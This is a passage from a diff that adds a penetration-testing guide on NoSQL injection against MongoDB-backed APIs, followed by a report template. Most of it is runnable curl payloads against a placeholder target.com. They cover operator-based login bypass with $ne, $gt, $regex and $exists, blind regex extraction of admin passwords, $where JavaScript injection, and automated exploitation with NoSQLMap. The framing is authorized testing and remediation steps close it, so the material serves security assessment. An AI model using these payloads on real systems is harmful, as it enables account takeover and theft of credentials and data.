|
+
-d '{"username": "admin\"", "password": "test"}'
|
|
59
|
+
|
|
60
|
+
# Test for operator injection in query parameters
|
|
61
|
+
curl "http://target.com/api/users?username[$ne]=invalid"
|
|
62
|
+
|
|
63
|
+
# Check for error-based detection
|
|
64
|
+
curl -X POST http://target.com/api/search \
|
|
65
|
+
-H "Content-Type: application/json" \
|
|
66
|
+
-d '{"query": {"$gt": ""}}'
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### Step 2 — Perform Authentication Bypass
|
|
70
|
+
```bash
|
|
71
|
+
# Basic authentication bypass with $ne operator
|
|
72
|
+
curl -X POST http://target.com/api/login \
|
|
73
|
+
-H "Content-Type: application/json" \
|
|
74
|
+
-d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
|
|
75
|
+
|
|
76
|
+
# Bypass with $gt operator
|
|
77
|
+
curl -X POST http://target.com/api/login \
|
|
78
|
+
-H "Content-Type: application/json" \
|
|
79
|
+
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
|
|
80
|
+
|
|
81
|
+
# Target specific user with regex
|
|
82
|
+
curl -X POST http://target.com/api/login \
|
|
83
|
+
-H "Content-Type: application/json" \
|
|
84
|
+
-d '{"username": "admin", "password": {"$regex": ".*"}}'
|
|
85
|
+
|
|
86
|
+
# Bypass using $exists operator
|
|
87
|
+
curl -X POST http://target.com/api/login \
|
|
88
|
+
-H "Content-Type: application/json" \
|
|
89
|
+
-d '{"username": {"$exists": true}, "password": {"$exists": true}}'
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### Step 3 — Extract Data Using Boolean-Based Blind Injection
|
|
93
|
+
```bash
|
|
94
|
+
# Extract username character by character using $regex
|
|
95
|
+
# Test if first character of admin password is 'a'
|
|
96
|
+
curl -X POST http://target.com/api/login \
|
|
97
|
+
-H "Content-Type: application/json" \
|
|
98
|
+
-d '{"username": "admin", "password": {"$regex": "^a"}}'
|
|
99
|
+
|
|
100
|
+
# Test if first two characters are 'ab'
|
|
101
|
+
curl -X POST http://target.com/api/login \
|
|
102
|
+
-H "Content-Type: application/json" \
|
|
103
|
+
-d '{"username": "admin", "password": {"$regex": "^ab"}}'
|
|
104
|
+
|
|
105
|
+
# Enumerate usernames with regex
|
|
106
|
+
curl -X POST http://target.com/api/login \
|
|
107
|
+
-H "Content-Type: application/json" \
|
|
108
|
+
-d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
### Step 4 — Exploit JavaScript Injection via $where
|
|
112
|
+
```bash
|
|
113
|
+
# JavaScript injection through $where operator
|
|
114
|
+
curl -X POST http://target.com/api/search \
|
|
115
|
+
-H "Content-Type: application/json" \
|
|
116
|
+
-d '{"$where": "this.username == \"admin\""}'
|
|
117
|
+
|
|
118
|
+
# Time-based detection with sleep
|
|
119
|
+
curl -X POST http://target.com/api/search \
|
|
120
|
+
-H "Content-Type: application/json" \
|
|
121
|
+
-d '{"$where": "sleep(5000) || this.username == \"admin\""}'
|
|
122
|
+
|
|
123
|
+
# Data exfiltration via $where with string comparison
|
|
124
|
+
curl -X POST http://target.com/api/search \
|
|
125
|
+
-H "Content-Type: application/json" \
|
|
126
|
+
-d '{"$where": "this.password.match(/^a/) != null"}'
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
### Step 5 — Use NoSQLMap for Automated Testing
|
|
130
|
+
```bash
|
|
131
|
+
# Clone and setup NoSQLMap
|
|
132
|
+
git clone https://github.com/codingo/NoSQLMap.git
|
|
133
|
+
cd NoSQLMap
|
|
134
|
+
python setup.py install
|
|
135
|
+
|
|
136
|
+
# Run NoSQLMap against target
|
|
137
|
+
python nosqlmap.py -u http://target.com/api/login \
|
|
138
|
+
--method POST \
|
|
139
|
+
--data '{"username":"test","password":"test"}'
|
|
140
|
+
|
|
141
|
+
# Alternative: use nosqli scanner
|
|
142
|
+
pip install nosqli
|
|
143
|
+
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
### Step 6 — Test URL Parameter Injection
|
|
147
|
+
```bash
|
|
148
|
+
# Parameter-based injection (GET requests)
|
|
149
|
+
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
|
|
150
|
+
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
|
|
151
|
+
curl "http://target.com/api/users?username[$exists]=true"
|
|
152
|
+
|
|
153
|
+
# Array injection via URL parameters
|
|
154
|
+
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
|
|
155
|
+
|
|
156
|
+
# Inject via HTTP headers if processed by backend
|
|
157
|
+
curl http://target.com/api/profile \
|
|
158
|
+
-H "X-User-Id: {'\$ne': null}"
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
## Key Concepts
|
|
162
|
+
|
|
163
|
+
| Concept | Description |
|
|
164
|
+
|---------|-------------|
|
|
165
|
+
| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |
|
|
166
|
+
| Authentication Bypass | Using operators to match any document and bypass login checks |
|
|
167
|
+
| Blind Extraction | Character-by-character data extraction using $regex boolean responses |
|
|
168
|
+
| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |
|
|
169
|
+
| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |
|
|
170
|
+
| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |
|
|
171
|
+
| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |
|
|
172
|
+
|
|
173
|
+
## Tools & Systems
|
|
174
|
+
|
|
175
|
+
| Tool | Purpose |
|
|
176
|
+
|------|---------|
|
|
177
|
+
| NoSQLMap | Automated NoSQL injection detection and exploitation framework |
|
|
178
|
+
| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |
|
|
179
|
+
| MongoDB Shell | Direct database interaction for testing query behavior |
|
|
180
|
+
| nosqli | Dedicated NoSQL injection scanner and exploitation tool |
|
|
181
|
+
| PayloadsAllTheThings | Curated NoSQL injection payload repository |
|
|
182
|
+
| Nuclei | Template-based scanner with NoSQL injection detection templates |
|
|
183
|
+
| Postman | API testing platform for crafting NoSQL injection requests |
|
|
184
|
+
|
|
185
|
+
## Common Scenarios
|
|
186
|
+
|
|
187
|
+
1. **Login Bypass** — Bypass MongoDB-backed authentication using `{"$ne": ""}` operator injection in username and password fields
|
|
188
|
+
2. **Data Enumeration** — Extract database contents character by character using `$regex` blind injection when no direct output is visible
|
|
189
|
+
3. **Privilege Escalation** — Modify user role fields through NoSQL injection in profile update endpoints
|
|
190
|
+
4. **API Key Extraction** — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques
|
|
191
|
+
5. **Account Takeover** — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass
|
|
192
|
+
|
|
193
|
+
## Output Format
|
|
194
|
+
|
|
195
|
+
```
|
|
196
|
+
## NoSQL Injection Assessment Report
|
|
197
|
+
- **Target**: http://target.com/api/login
|
|
198
|
+
- **Database**: MongoDB 6.0
|
|
199
|
+
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
|
|
200
|
+
- **Severity**: Critical (CVSS 9.8)
|
|
201
|
+
|
|
202
|
+
### Vulnerable Parameters
|
|
203
|
+
| Endpoint | Parameter | Injection Type | Impact |
|
|
204
|
+
|----------|-----------|---------------|--------|
|
|
205
|
+
| POST /api/login | username | Operator ($ne) | Auth Bypass |
|
|
206
|
+
| POST /api/login | password | Regex ($regex) | Data Extraction |
|
|
207
|
+
| GET /api/users | id | $where JS Injection | RCE Potential |
|
|
208
|
+
|
|
209
|
+
### Proof of Concept
|
|
210
|
+
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
|
|
211
|
+
- Extracted 3 admin passwords via blind regex injection
|
|
212
|
+
- JavaScript execution confirmed via $where operator
|
|
213
|
+
|
|
214
|
+
### Remediation
|
|
215
|
+
- Use parameterized queries with MongoDB driver sanitization
|
|
216
|
+
- Implement input type validation (reject objects where strings expected)
|
|
217
|
+
- Disable server-side JavaScript execution ($where) in MongoDB config
|
|
218
|
+
- Apply least-privilege database access controls
|
|
219
|
+
```
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
# NoSQL Injection Assessment Report Template
|
|
2
|
+
|
|
3
|
+
## Target Information
|
|
4
|
+
- **Application URL**: [url]
|
|
5
|
+
- **Database Type**: MongoDB / CouchDB / Other
|
|
6
|
+
- **Assessment Date**: [date]
|
|
7
|
+
- **Tester**: [name]
|
|
8
|
+
|
|
9
|
+
## Findings Summary
|
|
10
|
+
|
|
11
|
+
| Finding | Severity | Endpoint | Impact |
|
|
12
|
+
|---------|----------|----------|--------|
|
|
13
|
+
| Operator Injection | Critical | POST /api/login | Authentication Bypass |
|
|
14
|
+
| Blind Regex Extraction | High | POST /api/login | Data Leakage |
|
|
15
|
+
| $where JS Injection | Critical | POST /api/search | Potential RCE |
|
|
16
|
+
|
|
17
|
+
## Detailed Findings
|
|
18
|
+
|
|
19
|
+
### Finding 1: Authentication Bypass via Operator Injection
|
|
20
|
+
- **Endpoint**: POST /api/login
|
|
21
|
+
- **Payload**: `{"username":{"$ne":""},"password":{"$ne":""}}`
|
|
22
|
+
- **Impact**: Complete authentication bypass allowing access to any account
|
|
23
|
+
- **CVSS Score**: 9.8 (Critical)
|
|
24
|
+
|
|
25
|
+
### Remediation Steps
|
|
26
|
+
1. Validate input types — reject objects/arrays where strings are expected
|
|
27
|
+
2. Use MongoDB driver parameterized query methods
|
|
28
|
+
3. Implement server-side schema validation with JSON Schema
|
|
29
|
+
4. Disable $where and mapReduce JavaScript execution
|
|
30
|
+
5. Apply least-privilege database user permissions
|